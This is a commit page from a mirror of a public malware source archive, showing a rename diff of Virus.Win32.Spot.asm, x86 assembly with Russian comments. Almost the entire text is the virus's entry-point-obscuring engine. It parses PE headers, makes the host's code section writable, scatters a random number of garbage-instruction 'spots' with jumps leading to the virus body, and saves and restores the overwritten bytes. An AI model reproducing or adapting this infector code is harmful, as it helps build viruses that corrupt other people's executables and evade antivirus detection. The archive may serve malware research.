mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 09:26:09 +00:00
Rename Win32/Virus.Win32.Spot.asm to Win32/Infector/Virus.Win32.Spot.asm
This commit is contained in:
parent
7ec2ec66c9
commit
59acb78c99
@ -33,21 +33,21 @@
|
||||
; (+) RANDOM LENGTH OF JUMP ;
|
||||
;------------------------------------------------------------------------------;
|
||||
epo:
|
||||
push esi edi ; Сохраняем в стэке esi
|
||||
; и edi
|
||||
mov [ebp+map_address],edx ; Сохраняем адрес файла в
|
||||
; памяти
|
||||
call get_head ; Получаем PE заголовок
|
||||
push esi edi ; Сохраняем в стэке esi
|
||||
; и edi
|
||||
mov [ebp+map_address],edx ; Сохраняем адрес файла в
|
||||
; памяти
|
||||
call get_head ; Получаем PE заголовок
|
||||
;
|
||||
call search_eip ; Вычисляем новую точку
|
||||
; входа
|
||||
call find_code ; Ищем начало кода в этом
|
||||
; файле
|
||||
call spots ; Помещаем туда переход
|
||||
; на вирус
|
||||
pop edi esi ; Восстанавливаем из стэка
|
||||
; edi и esi
|
||||
ret ; Выходим из подпрограммы
|
||||
call search_eip ; Вычисляем новую точку
|
||||
; входа
|
||||
call find_code ; Ищем начало кода в этом
|
||||
; файле
|
||||
call spots ; Помещаем туда переход
|
||||
; на вирус
|
||||
pop edi esi ; Восстанавливаем из стэка
|
||||
; edi и esi
|
||||
ret ; Выходим из подпрограммы
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; PE HEADER SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
@ -61,26 +61,26 @@ epo:
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
|
||||
get_head:
|
||||
; Подпрограмма получения
|
||||
; PE заголовка
|
||||
; Подпрограмма получения
|
||||
; PE заголовка
|
||||
|
||||
pusha ; Сохраняем всё в стэке
|
||||
pusha ; Сохраняем всё в стэке
|
||||
|
||||
mov ebx,[edx + 3ch] ;
|
||||
add ebx,edx ;
|
||||
;
|
||||
mov [ebp + PE_header],ebx ; сохраняем PE заголовок
|
||||
mov [ebp + PE_header],ebx ; сохраняем PE заголовок
|
||||
mov esi,ebx ;
|
||||
mov edi,esi ;
|
||||
mov ebx,[esi + 28h] ;
|
||||
mov [ebp + old_eip],ebx ; Сохраняем старую точку
|
||||
; входа (eip)
|
||||
mov [ebp + old_eip],ebx ; Сохраняем старую точку
|
||||
; входа (eip)
|
||||
mov ebx,[esi + 34h] ;
|
||||
mov [ebp + image_base],ebx ; Сохраняем
|
||||
; виртуальный адрес
|
||||
; начала программы
|
||||
popa ; Вынимаем всё из стэка
|
||||
ret ; Выходим из подпрограммы
|
||||
mov [ebp + image_base],ebx ; Сохраняем
|
||||
; виртуальный адрес
|
||||
; начала программы
|
||||
popa ; Вынимаем всё из стэка
|
||||
ret ; Выходим из подпрограммы
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; NEW ENTRY POINT SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
@ -93,31 +93,31 @@ get_head:
|
||||
; NO OUTPUT IN SUBROUTINE ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
search_eip:
|
||||
; Подпрограмма вычисления
|
||||
; новой точки входа
|
||||
; Подпрограмма вычисления
|
||||
; новой точки входа
|
||||
|
||||
pusha ; Сохраняем всё в стэке
|
||||
pusha ; Сохраняем всё в стэке
|
||||
|
||||
mov esi,[ebp+PE_header] ; Кладём в esi указатель
|
||||
; На PE заголовок
|
||||
mov esi,[ebp+PE_header] ; Кладём в esi указатель
|
||||
; На PE заголовок
|
||||
mov ebx,[esi + 74h] ;
|
||||
shl ebx,3 ;
|
||||
xor eax,eax ;
|
||||
mov ax,word ptr [esi + 6h] ; Количество объектов
|
||||
dec eax ; (нам нужен последний-1
|
||||
mov ecx,28h ; заголовок секции)
|
||||
mul ecx ; * размер заголовка
|
||||
add esi,78h ; теперь esi указывает
|
||||
add esi,ebx ; на начало последнего
|
||||
add esi,eax ; заголовка секции
|
||||
mov ax,word ptr [esi + 6h] ; Количество объектов
|
||||
dec eax ; (нам нужен последний-1
|
||||
mov ecx,28h ; заголовок секции)
|
||||
mul ecx ; * размер заголовка
|
||||
add esi,78h ; теперь esi указывает
|
||||
add esi,ebx ; на начало последнего
|
||||
add esi,eax ; заголовка секции
|
||||
|
||||
mov eax,[esi+0ch] ;
|
||||
add eax,[esi+10h] ; Сохраняем новую точку
|
||||
mov [ebp+new_eip],eax ; входа
|
||||
add eax,[esi+10h] ; Сохраняем новую точку
|
||||
mov [ebp+new_eip],eax ; входа
|
||||
|
||||
popa ; Вынимаем всё из стэка
|
||||
popa ; Вынимаем всё из стэка
|
||||
|
||||
ret ; Выходим из подпрограммы
|
||||
ret ; Выходим из подпрограммы
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; FIND START OF CODE SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
@ -130,59 +130,59 @@ search_eip:
|
||||
; NO OUTPUT IN SUBROUTINE ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
find_code:
|
||||
; Подпрограмма поиска начала
|
||||
; кода
|
||||
; Подпрограмма поиска начала
|
||||
; кода
|
||||
|
||||
mov esi,[ebp+PE_header] ; Кладём в esi указатель
|
||||
; На PE заголовок
|
||||
mov esi,[ebp+PE_header] ; Кладём в esi указатель
|
||||
; На PE заголовок
|
||||
|
||||
mov ebx,[esi + 74h] ;
|
||||
shl ebx,3 ; Получаем
|
||||
shl ebx,3 ; Получаем
|
||||
xor eax,eax ;
|
||||
mov ax,word ptr [esi + 6h] ; Количество объектов
|
||||
mov ax,word ptr [esi + 6h] ; Количество объектов
|
||||
find2:
|
||||
mov esi,edi ;
|
||||
dec eax ;
|
||||
push eax ; (нам нужен последний-1
|
||||
mov ecx,28h ; заголовок секции)
|
||||
mul ecx ; * размер заголовка
|
||||
add esi,78h ; теперь esi указывает на
|
||||
add esi,ebx ; начало последнего
|
||||
; заголовка
|
||||
add esi,eax ; секции
|
||||
mov eax,[ebp+old_eip] ; В eax ложим точку входа
|
||||
mov edx,[esi+0ch] ; В edx адрес куда будет
|
||||
; мапиться
|
||||
; текущая секция
|
||||
cmp edx,eax ; Проверяем
|
||||
pop eax ; Вынимаем из стэка eax
|
||||
jg find2 ; Если больше ищем дальше
|
||||
add edx,[esi+08h] ; Добавляем виртуальный
|
||||
; размер секци
|
||||
cmp edx,[ebp+old_eip] ; Проверяем
|
||||
jl find2 ; Если меньше ищем дальше
|
||||
push eax ; (нам нужен последний-1
|
||||
mov ecx,28h ; заголовок секции)
|
||||
mul ecx ; * размер заголовка
|
||||
add esi,78h ; теперь esi указывает на
|
||||
add esi,ebx ; начало последнего
|
||||
; заголовка
|
||||
add esi,eax ; секции
|
||||
mov eax,[ebp+old_eip] ; В eax ложим точку входа
|
||||
mov edx,[esi+0ch] ; В edx адрес куда будет
|
||||
; мапиться
|
||||
; текущая секция
|
||||
cmp edx,eax ; Проверяем
|
||||
pop eax ; Вынимаем из стэка eax
|
||||
jg find2 ; Если больше ищем дальше
|
||||
add edx,[esi+08h] ; Добавляем виртуальный
|
||||
; размер секци
|
||||
cmp edx,[ebp+old_eip] ; Проверяем
|
||||
jl find2 ; Если меньше ищем дальше
|
||||
|
||||
mov edx,[esi+0ch] ; Далее вычисляем
|
||||
; физическое
|
||||
mov eax,[ebp+old_eip] ; смещение кода в файле
|
||||
mov edx,[esi+0ch] ; Далее вычисляем
|
||||
; физическое
|
||||
mov eax,[ebp+old_eip] ; смещение кода в файле
|
||||
sub eax,edx ;
|
||||
add eax,[esi+14h] ;
|
||||
add eax,[ebp+map_address] ; И потом добавляем базу
|
||||
; памяти
|
||||
add eax,[ebp+map_address] ; И потом добавляем базу
|
||||
; памяти
|
||||
|
||||
mov [ebp+start_code],eax ; Сохраняем начало кода
|
||||
mov [ebp+start_code],eax ; Сохраняем начало кода
|
||||
|
||||
or [esi + 24h],00000020h or 20000000h or 80000000h
|
||||
; Меняем аттрибуты
|
||||
; кодовой секции
|
||||
; Меняем аттрибуты
|
||||
; кодовой секции
|
||||
|
||||
mov eax,[esi+08] ; Вычисляем размер
|
||||
sub eax,[ebp+old_eip] ; той части кодовой секции,
|
||||
mov edx,[esi+10h] ; где можно размещать
|
||||
sub edx,eax ; пятна
|
||||
mov eax,[esi+08] ; Вычисляем размер
|
||||
sub eax,[ebp+old_eip] ; той части кодовой секции,
|
||||
mov edx,[esi+10h] ; где можно размещать
|
||||
sub edx,eax ; пятна
|
||||
mov [ebp+size_for_spot],edx ;
|
||||
|
||||
ret ; Возврат из процедуры
|
||||
ret ; Возврат из процедуры
|
||||
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; SPOTS GENERATION SUBROUTINE ;
|
||||
@ -196,26 +196,26 @@ find2:
|
||||
; NO OUTPUT IN SUBROUTINE ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
spots:
|
||||
; Подпрограмма генерации
|
||||
; пятен
|
||||
; Подпрограмма генерации
|
||||
; пятен
|
||||
|
||||
mov ecx,1 ; Кладём в ecx единицу
|
||||
mov ecx,1 ; Кладём в ecx единицу
|
||||
;
|
||||
call reset ; Подготавливаем данные
|
||||
call num_spots ; Генерируем случайное число
|
||||
; это будет кол-во пятен
|
||||
call reset ; Подготавливаем данные
|
||||
call num_spots ; Генерируем случайное число
|
||||
; это будет кол-во пятен
|
||||
tred:
|
||||
call save_bytes ; Сохраняем затираемы байты
|
||||
call gen_spot ; Генерируем пятно
|
||||
call save_bytes ; Сохраняем затираемы байты
|
||||
call gen_spot ; Генерируем пятно
|
||||
|
||||
inc ecx ; Увеличиваем ecx на единицу
|
||||
cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы
|
||||
jne tred ; Если нет, то генерируем
|
||||
inc ecx ; Увеличиваем ecx на единицу
|
||||
cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы
|
||||
jne tred ; Если нет, то генерируем
|
||||
|
||||
call save_bytes ; Сохраняем последние байты
|
||||
call gen_final_spot ; И генерируем последнее
|
||||
; пятно
|
||||
ret ; Возврат из процедуры
|
||||
call save_bytes ; Сохраняем последние байты
|
||||
call gen_final_spot ; И генерируем последнее
|
||||
; пятно
|
||||
ret ; Возврат из процедуры
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; SPOT GENERATION SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
@ -228,27 +228,27 @@ tred:
|
||||
; NO OUTPUT IN SUBROUTINE ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
gen_spot:
|
||||
; Подпрограмма генерации
|
||||
; одного пятна
|
||||
; Подпрограмма генерации
|
||||
; одного пятна
|
||||
|
||||
push eax ecx ; Сохраняем eax и ecx
|
||||
push eax ecx ; Сохраняем eax и ecx
|
||||
|
||||
call len_sp_jmp ; Получаем случайную длину
|
||||
xchg eax,ebx ; прыжка пятна
|
||||
call len_sp_jmp ; Получаем случайную длину
|
||||
xchg eax,ebx ; прыжка пятна
|
||||
|
||||
call testing ; Проверяем, чтобы пятно
|
||||
jc quit2 ; не выходило за кодовую
|
||||
; секцию
|
||||
call testing ; Проверяем, чтобы пятно
|
||||
jc quit2 ; не выходило за кодовую
|
||||
; секцию
|
||||
push ebx
|
||||
xor bx,bx
|
||||
dec bx
|
||||
mov ecx,[ebp+num1] ; Генерируем первую партию
|
||||
call garbage ; мусора
|
||||
mov ecx,[ebp+num1] ; Генерируем первую партию
|
||||
call garbage ; мусора
|
||||
pop ebx
|
||||
|
||||
mov al,0e9h ;
|
||||
stosb ;
|
||||
mov eax,0 ; Генерируем jmp
|
||||
mov eax,0 ; Генерируем jmp
|
||||
add eax,ebx ;
|
||||
add eax,ecx ;
|
||||
stosd ;
|
||||
@ -256,17 +256,17 @@ gen_spot:
|
||||
push ebx
|
||||
xor bx,bx
|
||||
dec bx
|
||||
mov ecx,[ebp+num2] ; Генерируем вторую партию
|
||||
call garbage ; мусора
|
||||
mov ecx,[ebp+num2] ; Генерируем вторую партию
|
||||
call garbage ; мусора
|
||||
pop ebx
|
||||
|
||||
sub edi,[ebp+num2] ;
|
||||
add edi,[ebp+num1] ; Корректируем edi
|
||||
add edi,[ebp+num1] ; Корректируем edi
|
||||
add edi,ebx ;
|
||||
quit2:
|
||||
pop ecx eax ; Восстанавливаем ecx и eax
|
||||
pop ecx eax ; Восстанавливаем ecx и eax
|
||||
|
||||
ret ; Возврат из подпрограммы
|
||||
ret ; Возврат из подпрограммы
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; LAST SPOT GENERATION SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
@ -279,36 +279,36 @@ quit2:
|
||||
; NO OUTPUT IN SUBROUTINE ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
gen_final_spot:
|
||||
; Подпрограмма генерации
|
||||
; финального пятна
|
||||
; Подпрограмма генерации
|
||||
; финального пятна
|
||||
|
||||
push eax ecx ; Сохраняем eax и ecx
|
||||
push eax ecx ; Сохраняем eax и ecx
|
||||
|
||||
jc not_big ; Если длина не превышает
|
||||
inc [ebp+n_spots] ; размера кодовой секции, то
|
||||
not_big: ; Увеличим кол-во пятен
|
||||
mov ecx,[ebp+num1] ; Генерируем мусорные
|
||||
call garbage ; инструкции
|
||||
jc not_big ; Если длина не превышает
|
||||
inc [ebp+n_spots] ; размера кодовой секции, то
|
||||
not_big: ; Увеличим кол-во пятен
|
||||
mov ecx,[ebp+num1] ; Генерируем мусорные
|
||||
call garbage ; инструкции
|
||||
|
||||
push edi ; Сохраняем edi
|
||||
sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a
|
||||
mov ebx,edi ; для последнего пятна
|
||||
pop edi ; Восстанавливаем edi
|
||||
push edi ; Сохраняем edi
|
||||
sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a
|
||||
mov ebx,edi ; для последнего пятна
|
||||
pop edi ; Восстанавливаем edi
|
||||
|
||||
mov al,0e9h ;
|
||||
stosb ;
|
||||
mov eax,0 ;
|
||||
sub eax,5 ; Генерируем финальное
|
||||
sub eax,ebx ; пятно
|
||||
sub eax,5 ; Генерируем финальное
|
||||
sub eax,ebx ; пятно
|
||||
add eax,[ebp+new_eip] ;
|
||||
sub eax,[ebp+old_eip] ;
|
||||
stosd ;
|
||||
|
||||
mov ecx,[ebp+num2] ; Генерируем вторую партию
|
||||
call garbage ; мусорных инструкций
|
||||
mov ecx,[ebp+num2] ; Генерируем вторую партию
|
||||
call garbage ; мусорных инструкций
|
||||
|
||||
pop ecx eax ; Восстанавливаем ecx и eax
|
||||
ret ; Возврат из подпрограммы
|
||||
pop ecx eax ; Восстанавливаем ecx и eax
|
||||
ret ; Возврат из подпрограммы
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; SPOTS GENERATION SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
@ -322,29 +322,29 @@ not_big: ;
|
||||
; NO OUTPUT IN SUBROUTINE ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
save_bytes:
|
||||
; Подпрограмма сохранения
|
||||
; заменяемых байт
|
||||
; Подпрограмма сохранения
|
||||
; заменяемых байт
|
||||
|
||||
pusha ; Сохраняем всё в стэке
|
||||
call length1 ; Генерируем длины мусорных
|
||||
; инструкций
|
||||
mov ebx,[ebp+num1] ; Помещаем в ebx первую
|
||||
add ebx,[ebp+num2] ; и вторую длины
|
||||
add ebx,5 ; Добавляем к ebx - 5
|
||||
pusha ; Сохраняем всё в стэке
|
||||
call length1 ; Генерируем длины мусорных
|
||||
; инструкций
|
||||
mov ebx,[ebp+num1] ; Помещаем в ebx первую
|
||||
add ebx,[ebp+num2] ; и вторую длины
|
||||
add ebx,5 ; Добавляем к ebx - 5
|
||||
|
||||
mov esi,edi ; Сохраняем в буфере с
|
||||
mov edi,[ebp+pointer] ; начала смещение в памяти
|
||||
mov eax,esi ; на сохраняемые байты
|
||||
mov esi,edi ; Сохраняем в буфере с
|
||||
mov edi,[ebp+pointer] ; начала смещение в памяти
|
||||
mov eax,esi ; на сохраняемые байты
|
||||
stosd ;
|
||||
mov ecx,ebx ; После этого сохраняем в
|
||||
mov eax,ecx ; буфере кол-во сохраняемых
|
||||
stosd ; байт
|
||||
mov ecx,ebx ; После этого сохраняем в
|
||||
mov eax,ecx ; буфере кол-во сохраняемых
|
||||
stosd ; байт
|
||||
|
||||
rep movsb ; И в самом конце сохраняем
|
||||
mov [ebp+pointer],edi ; в буфере сами байты
|
||||
rep movsb ; И в самом конце сохраняем
|
||||
mov [ebp+pointer],edi ; в буфере сами байты
|
||||
;
|
||||
popa ; Вынимаем всё из стэка
|
||||
ret ; Возврат из подпрограммы
|
||||
popa ; Вынимаем всё из стэка
|
||||
ret ; Возврат из подпрограммы
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; RESTORE SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
@ -357,32 +357,32 @@ save_bytes:
|
||||
; OLD ENTRY POINT -> EBX ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
restore:
|
||||
; Подпрограмма
|
||||
; восстановления сохранённых
|
||||
; байт
|
||||
; Подпрограмма
|
||||
; восстановления сохранённых
|
||||
; байт
|
||||
|
||||
cld ; Поиск вперёд
|
||||
lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер
|
||||
mov edx,1 ; В edx кладём - 1
|
||||
cld ; Поиск вперёд
|
||||
lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер
|
||||
mov edx,1 ; В edx кладём - 1
|
||||
not_enough:
|
||||
mov edi,[ebp+old_eip] ; В edi загружаем точку
|
||||
add edi,[ebp+image_base] ; входа
|
||||
mov ebx,edi ; Сохраняем edi в ebx
|
||||
lodsd ; В eax старое смещение
|
||||
; байт в памяти
|
||||
sub eax,[ebp+start_code] ; Отнимаем смещение начала
|
||||
; кода и добавляем
|
||||
add edi,eax ; точку входа
|
||||
lodsd ; Загружаем в eax кол-во
|
||||
mov ecx,eax ; байт и кладём их в ecx
|
||||
rep movsb ; Перемещаем оригинальные
|
||||
; байты на старое место
|
||||
inc edx ; Переходим к следующему
|
||||
cmp edx,[ebp+n_spots] ; пятну
|
||||
jl not_enough ; если не все пятна вернули,
|
||||
; то восстанавливаем дальше
|
||||
mov edi,[ebp+old_eip] ; В edi загружаем точку
|
||||
add edi,[ebp+image_base] ; входа
|
||||
mov ebx,edi ; Сохраняем edi в ebx
|
||||
lodsd ; В eax старое смещение
|
||||
; байт в памяти
|
||||
sub eax,[ebp+start_code] ; Отнимаем смещение начала
|
||||
; кода и добавляем
|
||||
add edi,eax ; точку входа
|
||||
lodsd ; Загружаем в eax кол-во
|
||||
mov ecx,eax ; байт и кладём их в ecx
|
||||
rep movsb ; Перемещаем оригинальные
|
||||
; байты на старое место
|
||||
inc edx ; Переходим к следующему
|
||||
cmp edx,[ebp+n_spots] ; пятну
|
||||
jl not_enough ; если не все пятна вернули,
|
||||
; то восстанавливаем дальше
|
||||
quit: ;
|
||||
ret ; Возврат из процедуры
|
||||
ret ; Возврат из процедуры
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; LENGTH SPOT GENERATION SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
@ -395,23 +395,23 @@ quit: ;
|
||||
; NO OUTPUT IN SUBROUTINE ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
length1:
|
||||
; Подпрограмма генерации
|
||||
; длин мусорных инструкций
|
||||
; Подпрограмма генерации
|
||||
; длин мусорных инструкций
|
||||
mov eax,20 ;
|
||||
call brandom32 ; Генерируем случайное число
|
||||
test eax,eax ; в диапазоне 1..19
|
||||
call brandom32 ; Генерируем случайное число
|
||||
test eax,eax ; в диапазоне 1..19
|
||||
jz length1 ;
|
||||
|
||||
mov [ebp+num1],eax ; Сохраняем его в переменную
|
||||
mov [ebp+num1],eax ; Сохраняем его в переменную
|
||||
rand2:
|
||||
mov eax,20 ;
|
||||
call brandom32 ; Генерируем случайное число
|
||||
test eax,eax ; в диапазоне 1..19
|
||||
call brandom32 ; Генерируем случайное число
|
||||
test eax,eax ; в диапазоне 1..19
|
||||
jz rand2 ;
|
||||
|
||||
mov [ebp+num2],eax ; Сохраняем его в вторую
|
||||
; переменную
|
||||
ret ; Возврат из процедуры
|
||||
mov [ebp+num2],eax ; Сохраняем его в вторую
|
||||
; переменную
|
||||
ret ; Возврат из процедуры
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; RESET SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
@ -424,16 +424,16 @@ rand2:
|
||||
; NO OUTPUT IN SUBROUTINE ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
reset:
|
||||
; Подпрограмма инициализации
|
||||
; переменных
|
||||
; Подпрограмма инициализации
|
||||
; переменных
|
||||
mov edi,[ebp+start_code] ;
|
||||
;
|
||||
push esi ; Инициализируем переменные
|
||||
push esi ; Инициализируем переменные
|
||||
lea esi,[ebp+rest_bytes] ;
|
||||
mov [ebp+pointer],esi ;
|
||||
pop esi ;
|
||||
|
||||
ret ; Возврат из процедуры
|
||||
ret ; Возврат из процедуры
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; SPOT JUMP LENGTH GENERATION SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
@ -446,15 +446,15 @@ reset:
|
||||
; LENGTH OF SPOT JUMP -> EAX ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
len_sp_jmp:
|
||||
; Подпрограмма генерации
|
||||
; длины прыжка
|
||||
; Подпрограмма генерации
|
||||
; длины прыжка
|
||||
|
||||
mov eax,150 ;
|
||||
call brandom32 ; Генерируем случайное число
|
||||
cmp eax,45 ; в диапазоне 45..149
|
||||
call brandom32 ; Генерируем случайное число
|
||||
cmp eax,45 ; в диапазоне 45..149
|
||||
jle len_sp_jmp ;
|
||||
|
||||
ret ; Возврат из процедуры
|
||||
ret ; Возврат из процедуры
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; SPOTS NUMBER GENERATION SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
@ -467,18 +467,18 @@ len_sp_jmp:
|
||||
; NO OUTPUT IN SUBROUTINE ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
num_spots:
|
||||
; Подпрограмма генерации
|
||||
; количества пятен
|
||||
; Подпрограмма генерации
|
||||
; количества пятен
|
||||
|
||||
pusha ; Сохраняем всё в стэке
|
||||
pusha ; Сохраняем всё в стэке
|
||||
|
||||
mov eax,40 ; Генерируем случайное число
|
||||
call brandom32 ; в диапазоне 1..40
|
||||
inc eax ; И сохраняем его в
|
||||
mov [ebp+n_spots],eax ; переменной
|
||||
mov eax,40 ; Генерируем случайное число
|
||||
call brandom32 ; в диапазоне 1..40
|
||||
inc eax ; И сохраняем его в
|
||||
mov [ebp+n_spots],eax ; переменной
|
||||
|
||||
popa ; Вынимаем всё из стэка
|
||||
ret ; Возврат из процедуры
|
||||
popa ; Вынимаем всё из стэка
|
||||
ret ; Возврат из процедуры
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; TESTING SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
@ -491,39 +491,39 @@ num_spots:
|
||||
; CARRY FLAG ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
testing:
|
||||
; Подпрограмма проверки
|
||||
; попадения в границу секции
|
||||
; Подпрограмма проверки
|
||||
; попадения в границу секции
|
||||
|
||||
push edi eax ; Сохраняем edi eax в стэке
|
||||
push edi eax ; Сохраняем edi eax в стэке
|
||||
|
||||
add edi,[ebp+num1] ; Добавим к edi 1-ую длину
|
||||
; мусорных инструкций
|
||||
add edi,[ebp+num2] ; После этого добавим 2-ую
|
||||
add edi,300 ; И добавим число в которое
|
||||
; входит максимальный размер
|
||||
; пятна + длина его прыжка
|
||||
mov eax,[ebp+size_for_spot] ; В eax загрузим размер
|
||||
; места для пятен и смещение
|
||||
add eax,[ebp+start_code] ; в памяти точки входа
|
||||
add edi,[ebp+num1] ; Добавим к edi 1-ую длину
|
||||
; мусорных инструкций
|
||||
add edi,[ebp+num2] ; После этого добавим 2-ую
|
||||
add edi,300 ; И добавим число в которое
|
||||
; входит максимальный размер
|
||||
; пятна + длина его прыжка
|
||||
mov eax,[ebp+size_for_spot] ; В eax загрузим размер
|
||||
; места для пятен и смещение
|
||||
add eax,[ebp+start_code] ; в памяти точки входа
|
||||
|
||||
cmp edi,eax ; Сравним eax и edi
|
||||
clc ; Сбросим carry флаг
|
||||
jl m_space ; Если edi меньше, то все
|
||||
; хорошо
|
||||
mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем
|
||||
inc [ebp+n_spots] ; количество пятен и
|
||||
stc ; устанавливаем carry флаг
|
||||
cmp edi,eax ; Сравним eax и edi
|
||||
clc ; Сбросим carry флаг
|
||||
jl m_space ; Если edi меньше, то все
|
||||
; хорошо
|
||||
mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем
|
||||
inc [ebp+n_spots] ; количество пятен и
|
||||
stc ; устанавливаем carry флаг
|
||||
m_space:
|
||||
pop eax edi ; Вынимаем eax и edi
|
||||
ret ; Возврат из процедуры
|
||||
pop eax edi ; Вынимаем eax и edi
|
||||
ret ; Возврат из процедуры
|
||||
;------------------------------------------------------------------------------;
|
||||
pointer dd 0 ;
|
||||
n_spots dd 0 ;
|
||||
;
|
||||
num1 dd 0 ;
|
||||
num2 dd 0 ;
|
||||
; Данные необходимые для
|
||||
PE_header dd 0 ; работы мотора
|
||||
; Данные необходимые для
|
||||
PE_header dd 0 ; работы мотора
|
||||
old_eip dd 0 ;
|
||||
image_base dd 0 ;
|
||||
start_code dd 0 ;
|
Loading…
Reference in New Issue
Block a user